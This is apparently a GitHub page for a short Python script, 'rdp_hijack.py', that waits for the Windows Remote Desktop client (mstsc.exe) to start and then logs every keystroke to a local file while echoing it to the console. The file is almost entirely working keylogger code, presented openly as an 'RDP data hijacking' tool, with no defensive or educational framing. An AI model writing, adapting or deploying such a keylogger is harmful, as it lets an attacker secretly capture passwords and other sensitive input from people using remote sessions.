-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathrdp_hijack.py
51 lines (37 loc) · 1.42 KB
/
rdp_hijack.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import psutil
import time
from pynput import keyboard
art = """
█▀█ █▀▄ █▀█ █░█ █ ░░█ ▄▀█ █▀▀ █▄▀ ---------------
█▀▄ █▄▀ █▀▀ █▀█ █ █▄█ █▀█ █▄▄ █░█ by Nuhu Tahiru
---------------
"""
print(art)
print("_"*48)
while True:
processes = list(psutil.process_iter(['pid', 'name']))
mstsc_running = any(process_info.info['name'] == 'mstsc.exe' for process_info in processes)
if mstsc_running:
print("")
print("---------------------------------")
print("[+] RDP is now open")
print("[+] Starting RDP data hijacking")
print("---------------------------------")
def keyPressed(key):
#print(str(key))
with open("keyfile.txt", 'a') as logKey:
try:
char = key.char
logKey.write(char)
if char:
print(char, end="", flush=True)
except:
print("\n")
if __name__ == "__main__":
listener = keyboard.Listener(on_press=keyPressed)
listener.start()
input()
break
else:
print("[+]Waiting for RDP related processes")
time.sleep(5)